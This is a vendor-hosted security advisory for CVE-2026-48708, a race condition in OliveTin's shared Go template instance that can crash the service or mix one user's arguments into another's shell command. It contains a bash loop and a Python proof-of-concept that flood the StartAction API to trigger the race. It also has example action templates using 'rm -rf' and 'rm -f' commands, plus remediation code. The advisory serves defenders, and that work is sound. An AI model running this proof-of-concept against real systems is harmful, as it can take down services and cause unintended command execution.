CVE-2026-48708

CVE-2026-48708 is a high-severity race condition vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260521225117-d74da9314005-. It is fixed in 0.0.0-20260521225117-d74da9314005.

Check whether CVE-2026-48708 affects your applications

Kodem tells you whether this CVE is present, reachable, and actually executing in your application, so you know if it matters.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence. Only the CVEs that actually run in production.

Summary

OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination

Full technical description

OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case, each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:

  1. Cross-user command contamination: User A's arguments rendered in User B's shell command template
  2. Go runtime panic: Concurrent map writes in Go's text/template internal structures cause a fatal crash
  3. Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands

CWE

  • CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
  • CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)

Affected Versions

  • All versions (the shared template has existed since the template system was introduced)

Details

The Shared Template Instance

In service/internal/tpl/templates.go:

var tpl = template.New("tpl").
    Option("missingkey=error").
    Funcs(template.FuncMap{"Json": jsonFunc})

This is a package-level variable, a single *template.Template shared across the entire process.

Unsafe Parse + Execute Pattern

The parseTemplate function is called for every template rendering:

func parseTemplate(source string, data any) (string, error) {
    t, err := tpl.Parse(source)   // Modifies shared tpl's internal Tree
    if err != nil {
        return "", err
    }

    var sb strings.Builder
    err = t.Execute(&sb, data)    // Reads from tpl's internal Tree
    // ...
}

Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:

Goroutine A (Action "echo {{ .Arguments.name }}"):
  1. tpl.Parse("echo {{ .Arguments.name }}")     → sets tpl.Tree = TreeA
  2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA

Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
  1. tpl.Parse("rm -rf {{ .Arguments.path }}")   → sets tpl.Tree = TreeB
  2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB

If the goroutines interleave:

  A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!

Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA, which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.

No Synchronization Exists

A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:

$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)

Concurrent Goroutine Confirmation

In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:

func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
    // ...
    go func() {
        e.execChain(req)    // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
        defer wg.Done()
    }()
    return wg, req.TrackingID
}

The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.

Go Runtime Crash Vector

Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:

fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)

This is not a panic that can be recovered, it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.

Template Contamination Vector

Even without a crash, the race can produce dangerous results:

  1. User A triggers action: shell: "echo Hello {{ .Arguments.name }}" with name=Alice
  2. User B triggers action: shell: "sudo systemctl restart {{ .Arguments.service }}" with service=nginx
  3. Race occurs: User A's Execute runs on User B's parsed template
  4. If User A's arguments contain a service key, that value is substituted into sudo systemctl restart {{ .Arguments.service }}
  5. If User A's arguments do NOT contain service, missingkey=error causes an error, but only AFTER the template was already partially evaluated

Call Chain

API Request → ExecRequest (goroutine) → execChain → stepParseArgs
  → ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
                                                      ↑ RACE CONDITION ↑
                                                  (shared tpl variable)

PoC

Prerequisites

  • OliveTin instance with at least 2 configured actions
  • Ability to trigger concurrent action executions

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false

actions:
  - title: Safe Echo
    id: safe-echo
    shell: "echo 'Hello {{ .Arguments.name }}'"
    arguments:
      - name: name
        type: ascii

  - title: File Delete
    id: file-delete
    shell: "rm -f /tmp/{{ .Arguments.target }}"
    arguments:
      - name: target
        type: ascii_identifier

Step 1: Trigger concurrent executions

#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &

  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"

Step 2: Check for crash

# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)

Step 3: Check logs for contamination

# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log

Python PoC, Race Trigger

#!/usr/bin/env python3
"""PoC: Template Race Condition, Cross-Request Contamination

Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.

Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""

import requests
import threading
import time

TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100

crash_detected = threading.Event()
errors_detected = []

def fire_action_a():
    """Trigger 'safe-echo' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "safe-echo",
                    "arguments": [{"name": "name", "value": "Alice"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED, Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action A exception: {e}")

def fire_action_b():
    """Trigger 'file-delete' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "file-delete",
                    "arguments": [{"name": "target", "value": "test"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED, Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action B exception: {e}")

if __name__ == "__main__":
    print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
    print(f"[*] Target: {TARGET}")

    threads = []
    for _ in range(THREADS):
        threads.append(threading.Thread(target=fire_action_a))
        threads.append(threading.Thread(target=fire_action_b))

    start = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    elapsed = time.time() - start

    print(f"\n[*] Completed in {elapsed:.1f}s")
    print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")

    if crash_detected.is_set():
        print("[!] SERVER CRASH DETECTED, concurrent map write panic")
    if errors_detected:
        print(f"[!] {len(errors_detected)} errors detected:")
        for err in errors_detected[:10]:
            print(f"    - {err}")
    else:
        print("[*] No errors detected (race window may not have been hit)")
        print("[*] Try increasing THREADS/ITERATIONS or checking server logs")

Go Race Detector Verification

If you can run OliveTin with Go's race detector enabled:

cd service
go run -race . &
# Then trigger concurrent requests, the race detector will confirm the data race

Expected output:

WARNING: DATA RACE
  Write by goroutine X:
    text/template.(*Template).Parse()
    service/internal/tpl/templates.go:XX

  Previous read by goroutine Y:
    text/template.(*Template).Execute()
    service/internal/tpl/templates.go:XX

Resources

  • Go text/template documentation: "A Template's Parse method must not be called concurrently"
  • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
  • service/internal/tpl/templates.go, shared tpl variable and parseTemplate function
  • service/internal/executor/executor.go, ExecRequest goroutine launch (line ~524)

Impact

  • Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable fatal error, crashing the entire OliveTin service
  • Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
  • Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
  • Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output

Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing. Typical impact: TOCTOU exploits, data corruption, or privilege escalation.

CVE-2026-48708 has a CVSS score of 7.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260521225117-d74da9314005); upgrading removes the vulnerable code path.

Affected versions

github.com/OliveTin/OliveTin (< 0.0.0-20260521225117-d74da9314005-)

Security releases

github.com/OliveTin/OliveTin → 0.0.0-20260521225117-d74da9314005 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  1. Create a new template per parse call instead of reusing the package-level singleton:

    func parseTemplate(source string, data any) (string, error) {
        t, err := template.New("").
            Option("missingkey=error").
            Funcs(template.FuncMap{"Json": jsonFunc}).
            Parse(source)
        if err != nil {
            return "", err
        }
        var sb strings.Builder
        err = t.Execute(&sb, data)
        // ...
    }
    
  2. Alternative: Use template.Must(tpl.Clone()) to create a thread-safe copy per call:

    func parseTemplate(source string, data any) (string, error) {
        clone, _ := tpl.Clone()
        t, err := clone.Parse(source)
        // ...
    }
    
  3. Alternative: Add a mutex around parseTemplate (but this serializes all template rendering and hurts performance):

    var tplMutex sync.Mutex
    func parseTemplate(source string, data any) (string, error) {
        tplMutex.Lock()
        defer tplMutex.Unlock()
        // ...
    }
    

    Option 1 (new template per call) is the recommended fix, it's simple, safe, and has negligible performance impact.

Frequently Asked Questions

  1. What is CVE-2026-48708? CVE-2026-48708 is a high-severity race condition vulnerability in github.com/OliveTin/OliveTin (go), affecting versions < 0.0.0-20260521225117-d74da9314005-. It is fixed in 0.0.0-20260521225117-d74da9314005. Multiple concurrent operations access a shared resource without proper synchronization, producing unpredictable results depending on timing.
  2. How severe is CVE-2026-48708? CVE-2026-48708 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/OliveTin/OliveTin are affected by CVE-2026-48708? github.com/OliveTin/OliveTin (go) versions < 0.0.0-20260521225117-d74da9314005- is affected.
  4. Is there a fix for CVE-2026-48708? Yes. CVE-2026-48708 is fixed in 0.0.0-20260521225117-d74da9314005. Upgrade to this version or later.
  5. Is CVE-2026-48708 exploitable, and should I be worried? Whether CVE-2026-48708 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-48708 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-48708? Upgrade github.com/OliveTin/OliveTin to 0.0.0-20260521225117-d74da9314005 or later.

Other vulnerabilities in github.com/OliveTin/OliveTin

Stop the waste.
Protect your environment with Kodem.